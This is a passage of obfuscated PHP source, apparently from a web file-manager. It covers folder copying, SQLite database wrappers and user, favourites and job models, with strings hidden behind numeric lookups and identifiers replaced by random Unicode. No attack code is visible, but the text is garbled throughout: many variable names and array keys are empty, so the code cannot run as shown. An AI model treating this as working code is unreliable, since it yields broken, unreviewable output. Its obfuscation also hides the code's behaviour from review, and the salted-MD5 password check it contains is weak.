$ɑ = $[$â[190]] == SourceModel::TYPE_GROUP && $껿[$â[190]] == SourceModel::TYPE_GROUP && $[$â[569]] == $껿[$â[569]]; if (!$ɑ && $this->moveClearAuth) { Model($â[567])->authClear($έ); } $ٽ = $[$â[505]] == $â[91] && $껿[$â[505]] != $â[91]; if ($ٽ) { $ҹ[$â[504]] = 0; } if ($) { $ɾ = array($â[652] => array($â[612], $[$â[584]] . $[$â[193]] . $â[613])); $ە = $[$â[584]] . $[$â[193]] . $â[50]; $睲 = $껿[$â[584]] . $껿[$â[193]] . $â[50] . $[$â[193]] . $â[50]; $Ɋ = array($â[652] => array($â[661], "\162\145\160\154\x61\x63\x65\x28\160\x61\x72\145\x6e\x74\114\145\x76\x65\154\54\47{$ە}\47\x2c\x27{$睲}\47\51"), $â[648] => $껿[$â[190]], $â[649] => $껿[$â[569]]); if ($ٽ) { $Ɋ[$â[504]] = 0; } $this->where($ɾ)->data($Ɋ)->save(); } $this->where(array($â[491] => $έ))->data($ҹ)->save(); return $έ; } private function clearShare($ũ, $) { $ =& $_SERVER[]; $ٿ = $this->sourceInfo($ũ); $ = $this->sourceInfo($); if ($ٿ[$[569]] == $[$[569]] && $ٿ[$[190]] == $[662]) { return; } $ = array($[584] => array($[612], $ٿ[$[584]] . $ũ . $[613])); $瞸 = $this->field($[491])->where($)->getField($[193], !0); if (!$瞸) { return; } $ = array($[193] => array($[7], $瞸), $[663] => 1); $ = Model($[664])->field($[665])->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[665]); $ = array($[665] => array($[7], $)); Model($[664])->where($)->save(array($[663] => 0)); Model($[666])->where($)->delete(); } public function copyFolderFromIO($, $, $, $섥, $, $ = false) { $♽ =& $_SERVER[]; $Ԉ = array($♽[630] => array(), $♽[631] => array(), $♽[629] => array(), $♽[667] => array()); $ȥ = $ ? $ : $->pathThis($); $ɹ = $this->fileNameExist($, $ȥ); $ߘ = $this->mkdir($, $ȥ, $섥); if (!$ɹ || $섥 == REPEAT_RENAME_FOLDER) { $섥 = !1; } if ($ɹ) { $this->_childrenAllMake($ɹ); } Hook::trigger($♽[668]); $this->_copyChildTo($, $, $ߘ, $섥, $Ԉ, $); Hook::trigger($♽[669]); if ($ߘ) { $this->folderSizeResetChildren($ߘ); } $this->_childrenListClear(); Model($♽[632])->addAll($Ԉ[$♽[630]], array(), !0); Model($♽[633])->eventCopy($ߘ); $this->saveAll($Ԉ[$♽[631]]); Model($♽[544])->linkAdd($Ԉ[$♽[629]]); Model($♽[544])->remove($Ԉ[$♽[667]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ߘ; } private function _copyChildTo($΅, $ϯȔ, $İ, $, &$̘, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($İ); $ = $΅->listPath($ϯȔ); $ = $ ? $ : array($[86] => array(), $[85] => array()); $֨ = array_merge($[$[86]], $[$[85]]); $ = $this->_addFiles($΅, $[$[86]], $); $˼þ = array(); foreach ($֨ as &$̕) { if (isset($[$̕[$[32]]])) { $̕ = $[$̕[$[32]]]; } $̕[$[485]] = $̕[$[33]] == $[78]; $̕[$[486]] = substr(_get($̕, $[169], $[12]), 0, 10); $̕[$[79]] = _get($̕, $[79], 0); $̕[$[541]] = _get($̕, $[541], 0); if (!isset($̕[$[670]]) && $̕[$[541]]) { $̘[$[667]][] = $̕[$[541]]; } if ($) { $ = $this->fileNameExistCache($İ, $̕[$[32]]); if ($) { if ($̕[$[485]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $˖ܜ = $this->sourceInfoCache($); $נ = $this->fileHistory($˖ܜ, $̕[$[541]], $̕[$[79]]); if ($נ) { $̘[$[629]][] = $̕[$[541]]; } continue; } else { if ($ == REPEAT_RENAME) { $̕[$[32]] = $this->fileNameAutoCache($İ, $̕[$[32]], $, !1); } } } } if (!$̕[$[485]] && $̕[$[541]] == 0) { continue; } if (!$̕[$[485]] && $̕[$[541]]) { $̘[$[629]][] = $̕[$[541]]; } $˼þ[] = $this->_makeItemData($̕, $, $̕[$[32]]); } unset($̕); if (!empty($˼þ)) { $this->addAll($˼þ); $this->_childrenListSelect($İ); } $ = $this->_childrenList($İ); $ = array_to_keyvalue($, $[32]); foreach ($֨ as $̕) { $˖ܜ = $[$̕[$[32]]]; $鼅 = $˖ܜ[$[193]]; $this->_copyApplyMeta($˖ܜ, $̘); if ($̕[$[33]] == $[78]) { $̕[$[87]] = $΅->getPathInner($̕[$[87]]); $this->_copyChildTo($΅, $̕[$[87]], $鼅, $, $̘, $); } } } private function _addFiles($, $, $֊) { $Ϝ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ԕѮ = array(); foreach ($ as &$ޓ) { Hook::trigger($Ϝ[671], $ޓ); $ޓ[$Ϝ[87]] = $->getPathInner($ޓ[$Ϝ[87]]); $۴ = $->hashSimple($ޓ[$Ϝ[87]]); $ = $->hashMd5($ޓ[$Ϝ[87]]); if (strlen($) > 10 && !isset($ԕѮ[$])) { $ԕѮ[$] = array(); } $ޓ[$Ϝ[672]] = $۴; $ޓ[$Ϝ[547]] = $; $ԕѮ[$][] =& $ޓ; if (count($ԕѮ[$]) > 1) { $ޓ[$Ϝ[670]] = !0; } Hook::trigger($Ϝ[673], $ޓ); } unset($ޓ); $ʱ = array($Ϝ[547] => array($Ϝ[7], array_keys($ԕѮ))); $߭ = Model($Ϝ[674]); $ = $߭->where($ʱ)->select(); $ = $ ? $ : array(); foreach ($ as $ׄټ) { if (!isset($ԕѮ[$ׄټ[$Ϝ[547]]])) { continue; } $ = $ԕѮ[$ׄټ[$Ϝ[547]]]; foreach ($ as &$ޓ) { $ޓ[$Ϝ[541]] = $ׄټ[$Ϝ[541]]; $ޓ[$Ϝ[670]] = !0; } unset($ޓ); } $ = array(); foreach ($ as $ъ˅) { Hook::trigger($Ϝ[675], $ъ˅); if (isset($ъ˅[$Ϝ[670]]) && $ъ˅[$Ϝ[670]]) { Hook::trigger($Ϝ[676], $ъ˅); continue; } $ = $->getPathInner($ъ˅[$Ϝ[87]]); $娒 = $߭->addFileMake($, $ъ˅[$Ϝ[79]], $ъ˅[$Ϝ[672]], $ъ˅[$Ϝ[547]], $ъ˅[$Ϝ[32]], $֊); Hook::trigger($Ϝ[676], $ъ˅); if (!is_array($娒)) { continue; } $[] = $娒; } $߭->addAll($); $ʱ = array($Ϝ[547] => array($Ϝ[7], array_keys($ԕѮ))); $ = $߭->where($ʱ)->select(); $ = $ ? $ : array(); foreach ($ as $ׄټ) { if (!isset($ԕѮ[$ׄټ[$Ϝ[547]]])) { continue; } $ܠ =& $ԕѮ[$ׄټ[$Ϝ[547]]]; foreach ($ܠ as &$ޓ) { $ޓ[$Ϝ[541]] = $ׄټ[$Ϝ[541]]; } unset($ޓ); } $ۧ = array(); foreach ($ as $) { $ۧ[$[$Ϝ[32]]] = $; } return $ۧ; } } define($_SERVER[][677], $_SERVER[][678]); $tukerlwafc = $_SERVER[][679]; goto d븖; Fμ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ڥٟ) { if (1 === func_num_args()) { $this->{$ڥٟ} = new $ڥٟ(); } else { $ܦ = new ReflectionClass($ڥٟ); $ = func_get_args(); array_shift($); $this->{$ڥٟ} = $ܦ->newInstanceArgs($); } return $this->{$ڥٟ}; } public function routeBind($, $, $ = 3) { $ =& $_SERVER[]; $љ = $this->in[$[9]]; $ = str_replace($[10], $[11], trim(trim($, $[8]), $[12])); if (!$ || count($љ) <= $) { return !1; } $ = !0; $ = explode($[8], $); for ($Җ = 0; $Җ < count($); $Җ++) { if ($[$Җ] != $љ[$ + $Җ]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $) { return array(); } $ = array(); for ($ = $; $ < count($); $ += 2) { $[$[$]] = $[$ + 1]; $this->in[$[$]] = $[$ + 1]; } return $; } protected function assign($É, $Χ) { $this->values[$É] = $Χ; } protected function display($ٽ) { ob_end_clean(); extract($this->values); require $this->tpl . $ٽ; } } class DbSqliteBase extends Db { public function __construct($Ր = '') { $ϭ =& $_SERVER[]; if (!extension_loaded($ϭ[13])) { think_exception(think_lang($ϭ[14]) . $ϭ[15]); } if (!empty($Ր)) { if (!isset($Ր[$ϭ[16]])) { $Ր[$ϭ[16]] = 438; } $this->config = $Ր; if (empty($this->config[$ϭ[17]])) { $this->config[$ϭ[17]] = array(); } } } public function connect($ꠄδ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($ꠄδ)) { $ꠄδ = $this->config; } $ѹ = !empty($ꠄδ[$[17]][$[18]]) ? $ꠄδ[$[17]][$[18]] : $this->pconnect; $힇 = $ѹ ? $[19] : $[20]; $this->linkID[$] = $힇($ꠄδ[$[21]], $ꠄδ[$[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($վ) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $վ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $վ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ݴ = $this->getAll(); return $ݴ; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $Ǒ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $Ǒ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ҷ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$Ҷ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ʬ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$ʬ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $蘗 = array(); if ($this->numRows > 0) { for ($ڸ = 0; $ڸ < $this->numRows; $ڸ++) { $蘗[$ڸ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $蘗; } public function getFields($۱) { $ =& $_SERVER[]; $ = $this->query($[29] . $۱ . $[30]); $뎘 = array(); if ($) { foreach ($ as $ => $) { $뎘[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $뎘; } public function getTables($§ = '') { $ѩ =& $_SERVER[]; $ӌ = $this->query($ѩ[45] . $ѩ[46] . $ѩ[47]); $쥬 = array(); foreach ($ӌ as $ύ => $ŘDZ) { $쥬[$ύ] = current($ŘDZ); } return $쥬; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $Ԭ =& $_SERVER[]; $Ѩ = sqlite_last_error($this->_linkID); $this->error = $Ѩ . $Ԭ[4] . sqlite_error_string($Ѩ); if ($Ԭ[12] != $this->queryStr) { $this->error .= LNG($Ԭ[48]) . $this->queryStr; } think_trace($this->error, $Ԭ[12], $Ԭ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($Ôԥ) { $ɫ =& $_SERVER[]; $퍴 = $ɫ[12]; if (!empty($Ôԥ)) { $Ôԥ = explode($ɫ[50], $Ôԥ); if (count($Ôԥ) > 1) { $퍴 .= $ɫ[51] . $Ôԥ[1] . $ɫ[52] . $Ôԥ[0] . $ɫ[53]; } else { $퍴 .= $ɫ[51] . $Ôԥ[0] . $ɫ[53]; } } return $퍴; } } class DbSqlite3Base extends Db { public function __construct($쾮 = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($쾮)) { if (!isset($쾮[$[16]])) { $쾮[$[16]] = 438; } $this->config = $쾮; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $Έ = 0) { $ʡ =& $_SERVER[]; if (!isset($this->linkID[$Έ])) { if (empty($)) { $ = $this->config; } $this->linkID[$Έ] = new SQLite3($[$ʡ[21]]); if (!$this->linkID[$Έ]) { think_exception($this->linkID[$Έ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$Έ]->busyTimeout(30000); if (1 != think_config($ʡ[22])) { unset($this->config); } } return $this->linkID[$Έ]; } public function free() { $this->queryID = null; } public function query($) { $ܺˏ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ܺˏ[23], 1); think_status($ܺˏ[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $΄ = $this->getAll(); $this->numRows = count($΄); return $΄; } } public function execute($܀) { $ƞ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $܀; if ($this->queryID) { $this->free(); } think_action_status($ƞ[25], 1); think_status($ƞ[24]); $̛ = $this->_linkID->exec($܀); $this->debug(); if (!1 === $̛) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($) { $Φ =& $_SERVER[]; $ = $this->query($Φ[29] . $ . $Φ[30]); $ϒ = array(); if ($) { foreach ($ as $ʗ => $) { $ϒ[$[$Φ[32]]] = array($Φ[32] => $[$Φ[32]], $Φ[33] => $[$Φ[33]], $Φ[35] => (bool) ($[$Φ[35]] === $Φ[12]), $Φ[37] => $[$Φ[56]], $Φ[39] => (bool) $[$Φ[57]], $Φ[42] => (bool) $[$Φ[57]]); } } return $ϒ; } public function getTables($્ = '') { $ =& $_SERVER[]; $䆌 = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($䆌 as $ƭ => $) { $[$ƭ] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ȗ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($ȗ[58], $ȗ[59], $); } public function parseLimit($) { $ߙ֕ =& $_SERVER[]; $ = $ߙ֕[12]; if (!empty($)) { $ = explode($ߙ֕[50], $); if (count($) > 1) { $ .= $ߙ֕[51] . $[1] . $ߙ֕[52] . $[0] . $ߙ֕[53]; } else { $ .= $ߙ֕[51] . $[0] . $ߙ֕[53]; } } return $; } } goto Eт; F: class UserFavModel extends ModelBase { protected $tableName = "\x75\x73\145\x72\137\146\x61\x76"; protected function cacheFunctionAlias($ț) { $Ҿ =& $_SERVER[]; return array($Ҿ[2077] => array(USER_ID, $Ҿ[2444])); } protected function listData() { $ =& $_SERVER[]; $ħ = array($[1754] => USER_ID, $[557] => 0); $죉ۃ = $[2445]; $ = $this->field($죉ۃ)->where($ħ)->order($[2446])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ɝ =& $_SERVER[]; $ = $this->listData(); $ُ = array_filter_by_field($, $ɝ[33], $ɝ[490]); $ھ = array_to_keyvalue($ُ, $ɝ[12], $ɝ[87]); if (!$ھ) { return $; } $̤胂 = 2000; $͙ = array($ɝ[491] => array($ɝ[492], $ھ)); $Хُ = Model($ɝ[899])->listSource($͙, $̤胂); $Хُ = array_merge($Хُ[$ɝ[86]], $Хُ[$ɝ[85]]); $Хُ = array_to_keyvalue($Хُ, $ɝ[193]); foreach ($ as $Ɛ옛 => $) { $ = $Хُ[$[$ɝ[87]]]; $ = $ ? $ : array(); $[$Ɛ옛] = array_merge($, $); } return $; } protected function addFav($ȑ, $ = '', $Ѝ = "\x73\x6f\165\x72\x63\x65") { $͉ =& $_SERVER[]; $ = array($͉[1754] => USER_ID, $͉[557] => 0, $͉[496] => $Ѝ, $͉[495] => $ȑ); if ($this->where($)->find()) { return !1; } $ = array($͉[1754] => USER_ID, $͉[557] => 0); $Ӛ = $this->where($)->max($͉[1986]); if (!$Ӛ) { $Ӛ = 0; } if (!$ && $Ѝ == $͉[490]) { $ = Model($͉[1411])->where(array($͉[491] => $ȑ))->find(); if (!$) { return !1; } $ = $[$͉[32]]; } $ = $this->getAutoName($); $ = array($͉[1754] => USER_ID, $͉[557] => 0, $͉[494] => $, $͉[495] => $ȑ, $͉[496] => $Ѝ, $͉[1966] => $Ӛ + 1); return $this->add($); } protected function remove($) { $ԫ =& $_SERVER[]; $ϖ = array($ԫ[1754] => USER_ID, $ԫ[493] => $); return $this->where($ϖ)->delete(); } protected function removeByName($) { $ =& $_SERVER[]; $蛴 = array($[1754] => USER_ID, $[494] => $, $[557] => 0); return $this->where($蛴)->delete(); } protected function rename($, $) { $쬤 =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($쬤[1754] => USER_ID, $쬤[557] => 0, $쬤[32] => $); return $this->where($)->save(array($쬤[32] => $)); } protected function resetSort($É) { $Կڄ =& $_SERVER[]; $É = is_array($É) ? $É : array(); $ = array($Կڄ[1754] => USER_ID); for ($ܫ = 0; $ܫ < count($É); $ܫ++) { $[$Կڄ[493]] = $É[$ܫ]; $this->where($)->save(array($Կڄ[1966] => $ܫ + 1)); } return !0; } protected function moveTop($Ƶ) { $̴ў =& $_SERVER[]; $침 = array($̴ў[1754] => USER_ID, $̴ў[557] => 0); $Ǿ = $this->where($침)->where(array($̴ў[32] => $Ƶ))->find(); if (!$Ǿ) { return; } $ = $this->field($̴ў[475])->where($침)->order($̴ў[2446])->select(); $ = array_to_keyvalue($, $̴ў[12], $̴ў[475]); $Օ = $; $ = array_remove_value($, $Ǿ[$̴ў[475]]); array_unshift($, $Ǿ[$̴ў[475]]); return $this->resetSort($); } protected function moveBottom($) { $ǫ =& $_SERVER[]; $څ = array($ǫ[1754] => USER_ID, $ǫ[557] => 0); $͝ = $this->where($څ)->max($ǫ[1986]); $ = array($ǫ[1986] => $͝ + 1); return $this->where($څ)->where(array($ǫ[32] => $))->save($); } private function getAutoName($Ą) { $ =& $_SERVER[]; $Ձ = array($[1754] => USER_ID, $[557] => 0); $ڟ = $this->field($[32])->where($Ձ)->select(); $ڟ = array_to_keyvalue($ڟ, $[12], $[32]); if (!$ڟ || !in_array($Ą, $ڟ)) { return $Ą; } for ($˞ = 0; $˞ < count($ڟ); $˞++) { if (!in_array($Ą . "\50{$˞}\51", $ڟ)) { return $Ą . "\x28{$˞}\51"; } } return $Ą . "\50{$˞}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\x6d\56\152\157\x62\114\151\163\x74"; public $field = array("\156\x61\x6d\x65", "\144\145\163\143", "\x73\x6f\162\x74"); const JOB_KEY = "\x73\x65\154\146\112\157\142\114\151\163\x74"; public function listData($ţ = false, $ = "\163\157\x72\164", $Ŋ = false) { return parent::listData($ţ, $, $Ŋ); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $[$[1986]] = $this->getSort(); return parent::insert($); } private function getSort() { $ȟ =& $_SERVER[]; $ = parent::listData(); $Е = array_to_keyvalue($, $ȟ[12], $ȟ[1986]); return empty($Е) ? 0 : max($Е) + 1; } public function update($, $) { $٪ =& $_SERVER[]; $ⓨ = parent::listData($); $闭 = $this->findByName($[$٪[32]]); if (!$ⓨ || $闭 && $闭[$٪[475]] != $ⓨ[$٪[475]]) { return !1; } return parent::update($, $); } public function setUserJob($Ɓ, $Ѥ鞿) { $ق֎Ѹ =& $_SERVER[]; if (!is_array($Ѥ鞿)) { $Ѥ鞿 = array($Ѥ鞿); } $ƙ = parent::listData(); $տ = array_to_keyvalue($ƙ, $ق֎Ѹ[32]); $ = $ق֎Ѹ[454]; foreach ($Ѥ鞿 as $ş) { if ($տ[$ş]) { $ .= $տ[$ş][$ق֎Ѹ[475]] . $ق֎Ѹ[50]; } else { $ = $this->add($ş); $ .= $ . $ق֎Ѹ[50]; } } $ = rtrim($, $ق֎Ѹ[50]); Model($ق֎Ѹ[598])->metaSet($Ɓ, self::JOB_KEY, $); } public function getUserJob($⬰) { $ = Model($_SERVER[][598])->metaGet($⬰); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($ݺ) { $σ =& $_SERVER[]; $ړț = explode($σ[50], $ݺ); $Νއ = parent::listData(); $Νއ = array_remove_key($Νއ, $σ[231]); $Ǝ = array(); foreach ($ړț as $) { if (isset($Νއ[$])) { $Ǝ[] = $Νއ[$]; } } return $Ǝ; } } class UserModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72"; protected $tableMeta = array("\164\141\142\154\145\x4e\x61\155\x65" => "\165\x73\145\x72\137\x6d\x65\x74\141", "\x6d\145\x74\141\106\151\x65\154\x64" => "\x75\x73\145\162\111\104"); protected $simpleField = "\x75\163\x65\x72\111\104\x2c\x6e\151\143\x6b\x4e\x61\x6d\145\x2c\x6e\141\x6d\x65\x2c\141\166\x61\x74\x61\162\54\x73\x65\x78\54\163\x74\x61\164\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ʎ = $[2447]; return array($[2044] => array($[0], $ʎ), $[2046] => array($[0], $ʎ), $[2448] => array($[0], $ʎ)); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[][2048], $); } protected function getInfoFull($ɕڍ, $ = false) { $ = $this->getInfoSimple($ɕڍ); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2449], $ɕڍ); } private function _getInfoApply($수, $ = false) { $ث =& $_SERVER[]; if (!$수) { return $수; } $ۿ = md5($ث[2450] . $수[$ث[960]] . $ث[2451] . $수[$ث[32]]); $수 = $this->_listDataApplyItem($수); $ϛܼ = Model($ث[1411])->metaGet($수[$ث[90]][$ث[193]]); $수[$ث[2452]] = $ۿ; $수[$ث[90]][$ث[2243]] = isset($ϛܼ[$ث[2244]]) ? $ϛܼ[$ث[2244]] : null; if ($) { $수[$ث[539]] = $this->metaGet($수[$ث[1763]]); } return $수; } protected function getInfoSimple($Џ, $ѣ = false) { $ۚ =& $_SERVER[]; if (!$Џ) { return array(); } if ($ѣ) { $Ĺ = $this->where(array($ۚ[1763] => intval($Џ)))->find(); if (!is_array($Ĺ)) { return array(); } $Ĺ[$ۚ[2453]] = Action($ۚ[2454])->parseUrl($Ĺ[$ۚ[2453]]); return $Ĺ; } return $this->cacheFunctionGet($ۚ[2049], $Џ); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1763] => $[228], $[32] => $[176] . LNG($[2455]) . $[178], $[2453] => STATIC_PATH . $[2456]); } $ԯ = $this->cacheFunctionGet($[2049], $); $˳ = array_field_key($ԯ, explode($[50], $this->simpleField)); if (!$˳) { return array($[1763] => $[1266], $[32] => $[176] . LNG($[2457]) . $[178], $[2453] => STATIC_PATH . $[2458]); } $˳[$[2453]] = Action($[2454])->parseUrl($˳[$[2453]]); return $˳; } protected function groupUser($) { } public static function errorLang($) { $굻 =& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $굻[2459], self::ERROR_USER_PASSWORD_ERROR => $굻[2460], self::ERROR_USER_EXIST_NAME => $굻[2461], self::ERROR_USER_EXIST_PHONE => $굻[2462], self::ERROR_USER_EXIST_EMAIL => $굻[2463], self::ERROR_USER_LOGIN_LOCK => $굻[2464], self::ERROR_IP_NOT_ALLOW => $굻[2465], self::ERROR_USER_EXIST_NICKNAME => $굻[2466]); $է = LNG($[$]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $ = (int) Model($굻[2467])->get($굻[2468]); if ($ > 60) { $է = str_replace($굻[91], ceil($ / 60), $է); } } return $է; } protected function metaSet($ݻ, $۞ = null, $А = null) { $this->clearCache($ݻ); return parent::metaSet($ݻ, $۞, $А); } public function getInfoByMeta($ݑ, $) { $ҖĈ =& $_SERVER[]; $ΐ = Model($ҖĈ[2469])->where(array($ҖĈ[97] => $ݑ, $ҖĈ[450] => $))->find(); if ($ΐ) { return $this->getInfo($ΐ[$ҖĈ[1763]]); } return !1; } public function userLoginCheck($୬, $) { $湧 =& $_SERVER[]; $Д = $this->userLoginFind($୬); if (!$Д) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($Д[$湧[1763]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($Д[$湧[1763]]); } public function userLoginFind($ǫ߾) { $ۨ߰ =& $_SERVER[]; $ = array($ۨ߰[32] => $ǫ߾, $ۨ߰[2256] => $ǫ߾, $ۨ߰[381] => $ǫ߾, $ۨ߰[2470] => $ǫ߾, $ۨ߰[1071] => $ۨ߰[1073]); if ($this->nickNameRpt()) { unset($[$ۨ߰[2256]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2048], $); $this->cacheFunctionClear($[2049], $); $this->cacheFunctionClear($[2449], $); } public function userPasswordCheck($λ, $ڱ) { $ܴ =& $_SERVER[]; $ǿ = $this->where(array($ܴ[1763] => intval($λ)))->find(); $蕆 = $this->metaGet($λ); $ȣ = isset($蕆[$ܴ[2471]]) ? $蕆[$ܴ[2471]] : $ܴ[12]; if (md5($ȣ . trim($ڱ)) !== $ǿ[$ܴ[960]]) { return !1; } return !0; } public function userAdd($֗) { $ =& $_SERVER[]; $ = array($[494] => $֗[$[32]], $[2472] => $֗[$[2169]], $[2473] => isset($֗[$[381]]) ? $֗[$[381]] : $[12], $[2474] => isset($֗[$[2470]]) ? $֗[$[2470]] : $[12], $[2475] => isset($֗[$[2256]]) ? $֗[$[2256]] : $֗[$[32]], $[2476] => isset($֗[$[2453]]) ? $֗[$[2453]] : $[12], $[2477] => isset($֗[$[2478]]) ? $֗[$[2478]] : 1, $[2479] => $֗[$[960]], $[2050] => isset($֗[$[1948]]) ? $֗[$[1948]] : 1024 * 1024 * 20, $[2051] => 0, $[2480] => 0, $[2096] => isset($֗[$[817]]) ? $֗[$[817]] : 1); if (!empty($֗[$[1763]])) { $[$[1763]] = $֗[$[1763]]; } $ʩە = $this->_checkExist($֗); if ($ʩە !== !0) { return $ʩە; } if (!empty($[$[2453]]) && strlen($[$[2453]]) > 255) { $[$[2453]] = $[12]; } $ = $this->add($); $ժ = array($[2479] => $[$[960]], $[2475] => $[$[2256]]); $this->userEdit($, $ժ); Model($[1411])->userRootAdd($); return $; } protected function userEditTest($ެŒ, $) { return $this->call($_SERVER[][2481], $ެŒ, $); } protected function userEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $߭ = $this->_checkExist($, $); if ($߭ !== !0) { return $߭; } if (isset($[$[960]]) && trim($[$[960]]) != $[12]) { $Ɛю = $this->metaGet($); if (empty($Ɛю[$[2471]])) { $Ɛю[$[2471]] = rand_string(10); Model($[577])->metaSet($, $[2471], $Ɛю[$[2471]]); } $[$[960]] = md5($Ɛю[$[2471]] . trim($[$[960]])); } else { unset($[$[960]]); } if (!empty($[$[2453]]) && strlen($[$[2453]]) > 255) { $[$[2453]] = $[12]; } $this->where(array($[1754] => $))->save($); if (isset($[$[2256]])) { $this->setNamePinyin($, $[$[2256]]); } $this->clearCache($); return !0; } public function setNamePinyin($审, $ڙ = false) { $ =& $_SERVER[]; if (!$ڙ) { $ = $this->getInfoSimple($审); $ڙ = $[$[2256]] ? $[$[2256]] : $[$[32]]; } $˝ = Model($[598]); if (!Input::check($ڙ, $[655])) { return $˝->metaSet($审, array($[538] => $[12], $[537] => $[12])); } return $˝->metaSet($审, array($[538] => str_replace($[53], $[12], 